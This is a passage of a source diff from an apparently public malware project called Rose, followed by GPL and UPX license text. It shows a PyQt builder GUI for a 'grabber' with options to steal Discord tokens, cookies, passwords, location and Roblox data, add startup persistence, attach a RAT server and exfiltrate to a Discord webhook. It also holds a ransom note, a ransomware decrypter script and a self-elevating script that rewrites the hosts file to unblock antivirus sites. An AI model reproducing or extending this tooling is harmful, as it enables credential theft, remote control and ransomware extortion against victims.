self.B_clearconsole.setGeometry(QtCore.QRect(140, 60, 81, 31))
self.B_clearconsole.setObjectName("B_clearconsole")
self.B_ghubupdates = QtWidgets.QPushButton(self.tab_builder)
self.B_ghubupdates.setGeometry(QtCore.QRect(590, 343, 111, 20))
self.B_ghubupdates.setObjectName("B_ghubupdates")
self.tabWidget.addTab(self.tab_builder, "")
self.tab_credits = QtWidgets.QWidget()
self.tab_credits.setObjectName("tab_credits")
self.groupBox_4 = QtWidgets.QGroupBox(self.tab_credits)
self.groupBox_4.setGeometry(QtCore.QRect(10, 10, 691, 271))
self.groupBox_4.setObjectName("groupBox_4")
self.groupBox_2 = QtWidgets.QGroupBox(self.groupBox_4)
self.groupBox_2.setGeometry(QtCore.QRect(10, 20, 651, 81))
self.groupBox_2.setObjectName("groupBox_2")
self.B_github_gumb = QtWidgets.QPushButton(self.groupBox_2)
self.B_github_gumb.setGeometry(QtCore.QRect(30, 30, 81, 23))
self.B_github_gumb.setObjectName("B_github_gumb")
self.groupBox = QtWidgets.QGroupBox(self.groupBox_4)
self.groupBox.setGeometry(QtCore.QRect(10, 190, 651, 71))
self.groupBox.setObjectName("groupBox")
self.B_github_sue = QtWidgets.QPushButton(self.groupBox)
self.B_github_sue.setGeometry(QtCore.QRect(30, 30, 81, 23))
self.B_github_sue.setObjectName("B_github_sue")
self.groupBox_3 = QtWidgets.QGroupBox(self.groupBox_4)
self.groupBox_3.setGeometry(QtCore.QRect(10, 100, 331, 81))
self.groupBox_3.setObjectName("groupBox_3")
self.B_github_ice = QtWidgets.QPushButton(self.groupBox_3)
self.B_github_ice.setGeometry(QtCore.QRect(30, 30, 81, 23))
self.B_github_ice.setObjectName("B_github_ice")
self.groupBox_9 = QtWidgets.QGroupBox(self.groupBox_4)
self.groupBox_9.setGeometry(QtCore.QRect(350, 100, 311, 81))
self.groupBox_9.setObjectName("groupBox_9")
self.B_github_suvan = QtWidgets.QPushButton(self.groupBox_9)
self.B_github_suvan.setGeometry(QtCore.QRect(30, 30, 81, 23))
self.B_github_suvan.setObjectName("B_github_suvan")
self.groupBox_5 = QtWidgets.QGroupBox(self.tab_credits)
self.groupBox_5.setGeometry(QtCore.QRect(10, 290, 691, 51))
self.groupBox_5.setObjectName("groupBox_5")
self.label_versiondet = QtWidgets.QLabel(self.groupBox_5)
self.label_versiondet.setGeometry(QtCore.QRect(20, 20, 131, 16))
self.label_versiondet.setObjectName("label_versiondet")
self.B_vail_repo = QtWidgets.QPushButton(self.groupBox_5)
self.B_vail_repo.setGeometry(QtCore.QRect(580, 10, 91, 31))
self.B_vail_repo.setObjectName("B_vail_repo")
self.tabWidget.addTab(self.tab_credits, "")
MainWindow_vailB.setCentralWidget(self.centralwidget)
self.statusbar = QtWidgets.QStatusBar(MainWindow_vailB)
self.statusbar.setObjectName("statusbar")
MainWindow_vailB.setStatusBar(self.statusbar)
self.menubar = QtWidgets.QMenuBar(MainWindow_vailB)
self.menubar.setGeometry(QtCore.QRect(0, 0, 741, 21))
self.menubar.setObjectName("menubar")
MainWindow_vailB.setMenuBar(self.menubar)
self.action = QtWidgets.QAction(MainWindow_vailB)
self.action.setObjectName("action")
self.actionCredits = QtWidgets.QAction(MainWindow_vailB)
self.actionCredits.setObjectName("actionCredits")
self.actionGithub = QtWidgets.QAction(MainWindow_vailB)
self.actionGithub.setObjectName("actionGithub")
self.actionCredits_2 = QtWidgets.QAction(MainWindow_vailB)
self.actionCredits_2.setObjectName("actionCredits_2")
self.retranslateUi(MainWindow_vailB)
self.tabWidget.setCurrentIndex(0)
self.comboBox.setDisabled(True)
self.LE_ratsserver.setDisabled(True)
self.ping.clicked.connect(lambda : self.comboBox.setEnabled(True) if self.ping.isChecked() else self.comboBox.setDisabled(True))
self.CB_rat.clicked.connect(lambda : self.LE_ratsserver.setEnabled(True) if self.CB_rat.isChecked() else self.LE_ratsserver.setDisabled(True))
self.B_github_sue.clicked.connect(self.sueghub)
self.B_github_ice.clicked.connect(self.iceghub)
self.B_testhook.clicked.connect(self.test_hook)
self.B_github_gumb.clicked.connect(self.gumghub)
self.B_ghubupdates.clicked.connect(self.github)
self.B_github_suvan.clicked.connect(self.svnghub)
self.B_clearconsole.clicked.connect(self.clearconsole)
self.B_vail_repo.clicked.connect(self.github)
self.B_build.clicked.connect(self.pb_build) # connect a function to the push button by doing this so (All push buttons are described as B_.. then the identifier.)
QtCore.QMetaObject.connectSlotsByName(MainWindow_vailB)
def retranslateUi(self, MainWindow_vailB):
_translate = QtCore.QCoreApplication.translate
MainWindow_vailB.setWindowTitle(_translate("MainWindow_vailB", f"Rose Builder {__version__}"))
self.groupBox_6.setTitle(_translate("MainWindow_vailB", "Control Panel"))
self.label_2.setText(_translate("MainWindow_vailB", "Webhook URL :"))
self.dir_name.setText(_translate("MainWindow_vailB", "Build Name :"))
self.B_build.setText(_translate("MainWindow_vailB", "Build"))
self.B_testhook.setText(_translate("MainWindow_vailB", "Test Webhook"))
self.groupBox_7.setTitle(_translate("MainWindow_vailB", "Console"))
self.groupBox_8.setTitle(_translate("MainWindow_vailB", "Settings"))
self.CB_startup.setText(_translate("MainWindow_vailB", "Startup"))
self.CB_injection.setText(_translate("MainWindow_vailB", "Injection"))
self.CB_tokensteal.setText(_translate("MainWindow_vailB", "Token"))
self.CB_cookiesteal.setText(_translate("MainWindow_vailB", "Cookie"))
self.CB_passsteal.setText(_translate("MainWindow_vailB", "Password"))
self.CB_malicioussteal.setText(_translate("MainWindow_vailB", "Malicious"))
self.CB_locationsteal.setText(_translate("MainWindow_vailB", "Location"))
self.CB_robloxsteal.setText(_translate("MainWindow_vailB", "Roblox"))
self.groupBox_10.setTitle(_translate("MainWindow_vailB", "Ping Method"))
self.comboBox.setItemText(0, _translate("MainWindow_vailB", "everyone"))
self.comboBox.setItemText(1, _translate("MainWindow_vailB", "here"))
self.ping.setText(_translate("MainWindow_vailB", "Ping"))
self.groupBox_ratsec.setTitle(_translate("MainWindow_vailB", "Rat Section"))
self.CB_rat.setText(_translate("MainWindow_vailB", "Rat"))
self.label.setText(_translate("MainWindow_vailB", "Server URL :"))
self.B_clearconsole.setText(_translate("MainWindow_vailB", "Clear Console"))
self.B_ghubupdates.setText(_translate("MainWindow_vailB", "Github For Updates"))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_builder), _translate("MainWindow_vailB", "Builder"))
self.groupBox_4.setTitle(_translate("MainWindow_vailB", "Credits"))
self.groupBox_2.setTitle(_translate("MainWindow_vailB", "Gumbobrot"))
self.B_github_gumb.setText(_translate("MainWindow_vailB", "Github"))
self.groupBox.setTitle(_translate("MainWindow_vailB", "suegdu"))
self.B_github_sue.setText(_translate("MainWindow_vailB", "Github"))
self.groupBox_3.setTitle(_translate("MainWindow_vailB", "xpierroz"))
self.B_github_ice.setText(_translate("MainWindow_vailB", "Github"))
self.B_github_suvan.setText(_translate("MainWindow_vailB", "Github"))
self.groupBox_9.setTitle(_translate("MainWindow_vailB", "suvan"))
self.groupBox_5.setTitle(_translate("MainWindow_vailB", "Rose"))
self.label_versiondet.setText(_translate("MainWindow_vailB", f"Builder Version : {__version__}"))
self.B_vail_repo.setText(_translate("MainWindow_vailB", "Rose Repo"))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_credits), _translate("MainWindow_vailB", "Info"))
self.action.setText(_translate("MainWindow_vailB", "Github"))
self.actionCredits.setText(_translate("MainWindow_vailB", "Credits"))
self.actionGithub.setText(_translate("MainWindow_vailB", "Github"))
self.actionCredits_2.setText(_translate("MainWindow_vailB", "Credits"))
self.console_write(f"Launched Rose {__version__} Successfully.\n{__repo__}")
# List the linked functions below this class. -suegdu
# Updates the console
def console_write(self,message):
self.console_0.insertPlainText(f"{str(message)}\n")
@staticmethod
def sueghub():
webbrowser.open("https://github.com/suegdu")
@staticmethod
def iceghub():
webbrowser.open("https://github.com/xpierroz")
@staticmethod
def gumghub():
webbrowser.open("https://github.com/gumbobr0t")
@staticmethod
def svnghub():
webbrowser.open("https://github.com/suvan1911")
@staticmethod
def github():
webbrowser.open(__repo__)
def clearconsole(self):
self.console_0.clear()
self.progressBar.setProperty("value", 0)
def writesource(self):
pool = QThreadPool.globalInstance()
worker = Runnable_wf(
1,
self.dir_name_input.text(),
self.LE_webhook_url.text(),
self.CB_rat.isChecked(),
self.LE_ratsserver.text(),
self.CB_startup.isChecked(),
self.CB_injection.isChecked(),
self.CB_tokensteal.isChecked(),
self.CB_cookiesteal.isChecked(),
self.CB_passsteal.isChecked(),
self.CB_malicioussteal.isChecked(),
self.CB_locationsteal.isChecked(),
self.CB_robloxsteal.isChecked()
)
worker.signals.create_dirc.connect(self.create_dirc)
worker.signals.make_reqc.connect(self.make_reqc)
worker.signals.edit_configc.connect(self.edit_configc)
worker.signals.compilec.connect(self.compilec)
worker.signals.move_dirc.connect(self.move_dirc)
worker.signals.build_done.connect(self.build_done)
pool.start(worker)
def create_dirc(self):
self.progressBar.setProperty("value", 0)
self.console_write("Creating new directory...")
def make_reqc(self):
self.progressBar.setProperty("value", 20)
self.console_write("Fetching files...")
def edit_configc(self):
self.progressBar.setProperty("value", 40)
self.console_write("Editing the config...")
def compilec(self):
self.progressBar.setProperty("value", 60)
self.console_write("Compiling | This can take a few minutes")
def move_dirc(self):
self.progressBar.setProperty("value", 80)
self.console_write("Moving files...")
def build_done(self):
self.progressBar.setProperty("value", 100)
self.console_write("\nFinished building the grabber.")
ctypes.windll.user32.MessageBoxW(0, "Successfuly built the grabber", "Rose Injector", 0)
def test_hook(self):
vfi = "discord.com/api"
if str(self.LE_webhook_url.text()) ==str():
self.console_write("Error: No URL provided.")
return
if str(self.LE_webhook_url.text()).isspace():
self.console_write("Error: No URL provided.")
return
if vfi not in str(self.LE_webhook_url.text()) :
self.console_write("Error: Invalid webhook URL provided.")
return
pool = QThreadPool.globalInstance()
runnable = Runnable(1, self.LE_webhook_url.text())
pool.start(runnable)
# The main function when the Build button gets pushed.
def pb_build(self):
if str(self.dir_name_input.text()) == str() or str(self.LE_webhook_url.text()).isspace():
self.console_write("Error: No build name provided.")
return
if (
self.CB_rat.isChecked() is True
and self.LE_ratsserver.text() == str()
or str(self.LE_ratsserver.text()).isspace()
):
self.console_write("Error: No RAT URL provided.")
return
self.console_write("\nStarted building....\n")
self.writesource()
if __name__ == "__main__":
import sys
auto_update()
app = QtWidgets.QApplication(sys.argv)
MainWindow_vailB = QtWidgets.QMainWindow()
ui = Ui_MainWindow_vailB()
ui.setupUi(MainWindow_vailB)
MainWindow_vailB.show()
sys.exit(app.exec_())

View File

@@ -0,0 +1 @@
# Have you fallen victim to our Ransomware? Now don't cry. Just get your key and decrypt your files.

View File

@@ -0,0 +1,2 @@
colorama
cryptography

View File

@@ -0,0 +1,6 @@
@echo off
echo This requires python to be installed!
pause
pip install -r decrequirements.txt
python rose-decrypter.py
echo Started decrypter...

View File

@@ -0,0 +1,127 @@
import os
import sys
import errno
import time
from cryptography.fernet import Fernet
from colorama import Fore, Style, init
from datetime import datetime
init()
errors = []
now = datetime.now()
current_datetime = '[' + now.strftime("%Y-%m-%d %H:%M:%S.%f") + '] '
def log_error():
try:
with open('ROSE-RANSOMWARE-ERRORS.txt', 'w') as file:
for error in errors:
file.write(error + '\n')
except Exception:
print(Fore.RED + Style.DIM + current_datetime + 'Really bad error occured. Please directly report to head developer.')
decryptedfiles = [] # Saves all decrypted files
def decrypt_file(file_path):
decryptedfiles.append(file_path)
with open(file_path, 'rb') as encrypted_file:
encrypted_data = encrypted_file.read()
decrypted_data = cipher_suite.decrypt(encrypted_data)
decrypted_file_path = file_path.rsplit('.rose.encrypted', 1)[0]
with open(decrypted_file_path, 'wb') as decrypted_file:
decrypted_file.write(decrypted_data)
os.remove(file_path)
def decrypt_directory(directory_path):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
try:
decrypt_file(file_path)
except OSError as e:
if e.errno in (errno.EACCES, errno.EPERM, errno.EINVAL, errno.ENOENT,
errno.ENOTDIR, errno.ENAMETOOLONG, errno.EROFS):
pass # Ignore permission/access errors
except Exception as e:
if isinstance(e, (FileNotFoundError, IsADirectoryError, TimeoutError,)):
pass # Ignore common file errors
else:
errors.append(e)
def decrypted_files():
try:
with open('ROSE-RANSOMWARE-DECRYPTED-FILES.txt', 'w') as file:
for decryptedfile in decryptedfiles:
file.write(decryptedfile + '\n')
except Exception as e:
errors.append(e)
def decrypter():
banner = Fore.RED + Style.DIM + ''' ,. - ., , ·. ,.-·~·., ,. -, _,., °
,' ,. - ., `' ·, / ·'´,.-·-., `,' ,.·'´, ,'\ ,.·'´ ,. , `;\ '
'; '·~;:::::'`, ';\ / .'´\:::::::'\ '\ ° ,·'´ .·´'´'´::::\' .´ ;´:::::\`'´ \'\
; ,':\::;:´ .·´::\'' ,'::::\:;:-·-:'; ';\ ; ';:::\::\::;:' / ,'::\::::::\:::\:'
; ·''´,.-·'´:::::::'; ;. ';:::;´ ,' ,':'\ \·. `·;:''´ ; ;:;:-·'~^ª*';\'´
;´ ':,´:::::::::::·´' '; ;::; ,'´ .'´\::'; \:`·. '`·, ' ; ,.-·:*'´¨'`*´\::\ '
'; , `·:;:-·'´ '; ':;: ,.·´,.·´::::\;'° `·:'`·, \' ; ;\::::::::::::'\;'
; ,':\'`:·., ` ·., \·, `*´,.·'´::::::;·´ ,.'-:;'\ ; ;'_\_:;:: -·^*';\
\·-;::\:::::'`:·-.,'; \\:¯::\:::::::;:·´ ,·'´ ,.·´:::'\ '; , ,. -·:*'´:\:'\°
\::\:;'` ·:;:::::\::\' `\:::::\;::·'´ ° \`*'´\::::::::;·' \`*´ ¯\:::::::::::\;' '
'·-·' `' · -':::'' ¯ \::::\:;:·´ \:::::\;::-·^*'´
'`*'´ `*´¯
github.com/gumbobr0t
================================
Welcome to Rose Decrypter! Looks like we encrypted you?! Oops...\n\n'''
print(banner)
view_key = input(Fore.RED + Style.DIM + current_datetime + 'Please enter your key below...\n-> ')
vkey = view_key.encode('utf-8')
key = bytes.fromhex(vkey.decode('utf-8'))
global cipher_suite
cipher_suite = Fernet(key)
target_directory = input(Fore.RED + Style.DIM + current_datetime + 'Please enter the directory to decrypt (C:/Users is common) ...\n-> ')
print(Fore.RED + Style.DIM + current_datetime + 'Starting decryption in 3 seconds...')
time.sleep(1.0)
print(Fore.RED + Style.DIM + current_datetime + 'Starting decryption in 2 seconds...')
time.sleep(1.0)
print(Fore.RED + Style.DIM + current_datetime + 'Starting decryption in 1 second...')
time.sleep(1.0)
print(Fore.RED + Style.DIM + current_datetime + 'Decryption started...')
decrypt_directory(r'{}'.format(target_directory))
print(Fore.RED + Style.DIM + current_datetime + 'Finished decryption.')
print(Fore.RED + Style.DIM + current_datetime + 'Creating overview...')
decrypted_files()
log_error()
print(Fore.RED + Style.DIM + current_datetime + 'Finished all. Contents that have been successfully been decrypted can be found in ROSE-RANSOMWARE-DECRYPTER-DECRYPTED-FILES.txt & errors can be found in ROSE-RANSOMWARE-ERRORS.txt')
print(Fore.RED + Style.DIM + current_datetime + 'Quitting in 5 seconds.')
time.sleep(5.0)
sys.exit()
if __name__ == '__main__':
os.system('cls' if os.name == 'nt' else 'clear')
os.system('title Rose Decrypter')
decrypter()

View File

@@ -0,0 +1,43 @@
# Made by blank
# https://github.com/blank-c
# This script requires python 3.11 to be installed!
import os, subprocess, ctypes, sys, getpass
if ctypes.windll.shell32.IsUserAnAdmin() != 1:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
exit(0)
try:
hostfilepath = os.path.join(os.getenv('systemroot'), os.sep.join(subprocess.run('REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath', shell= True, capture_output= True).stdout.decode(errors= 'ignore').strip().splitlines()[-1].split()[-1].split(os.sep)[1:]), 'hosts')
with open(hostfilepath) as file:
data = file.readlines()
except Exception as e:
print(e)
getpass.getpass("")
exit(1)
BANNED_URLs = ('virustotal.com', 'avast.com', 'totalav.com', 'scanguard.com', 'totaladblock.com', 'pcprotect.com', 'mcafee.com', 'bitdefender.com', 'us.norton.com', 'avg.com', 'malwarebytes.com', 'pandasecurity.com', 'avira.com', 'norton.com', 'eset.com', 'zillya.com', 'kaspersky.com', 'usa.kaspersky.com', 'sophos.com', 'home.sophos.com', 'adaware.com', 'bullguard.com', 'clamav.net', 'drweb.com', 'emsisoft.com', 'f-secure.com', 'zonealarm.com', 'trendmicro.com', 'ccleaner.com')
newdata = []
for i in data:
if any([(x in i) for x in BANNED_URLs]):
continue
else:
newdata.append(i)
newdata = '\n'.join(newdata).replace('\n\n', '\n')
try:
subprocess.run("attrib -r {}".format(hostfilepath), shell= True, capture_output= True)
with open(hostfilepath, 'w') as file:
file.write(newdata)
except Exception as e:
print(e)
getpass.getpass("")
exit(1)
print("Unblocked sites!")
subprocess.run("attrib +r {}".format(hostfilepath), shell= True, capture_output= True)
getpass.getpass("")

View File

@@ -0,0 +1,339 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License.

View File

@@ -0,0 +1,138 @@
-----BEGIN PGP SIGNED MESSAGE-----
ooooo ooo ooooooooo. ooooooo ooooo
`888' `8' `888 `Y88. `8888 d8'
888 8 888 .d88' Y888..8P
888 8 888ooo88P' `8888'
888 8 888 .8PY888.
`88. .8' 888 d8' `888b
`YbodP' o888o o888o o88888o
The Ultimate Packer for eXecutables
Copyright (c) 1996-2000 Markus Oberhumer & Laszlo Molnar
http://wildsau.idv.uni-linz.ac.at/mfx/upx.html
http://www.nexus.hu/upx
http://upx.tsx.org
PLEASE CAREFULLY READ THIS LICENSE AGREEMENT, ESPECIALLY IF YOU PLAN
TO MODIFY THE UPX SOURCE CODE OR USE A MODIFIED UPX VERSION.
ABSTRACT
========
UPX and UCL are copyrighted software distributed under the terms
of the GNU General Public License (hereinafter the "GPL").
The stub which is imbedded in each UPX compressed program is part
of UPX and UCL, and contains code that is under our copyright. The
terms of the GNU General Public License still apply as compressing
a program is a special form of linking with our stub.
As a special exception we grant the free usage of UPX for all
executables, including commercial programs.
See below for details and restrictions.
COPYRIGHT
=========
UPX and UCL are copyrighted software. All rights remain with the authors.
UPX is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
UPX is Copyright (C) 1996-2000 Laszlo Molnar
UCL is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
GNU GENERAL PUBLIC LICENSE
==========================
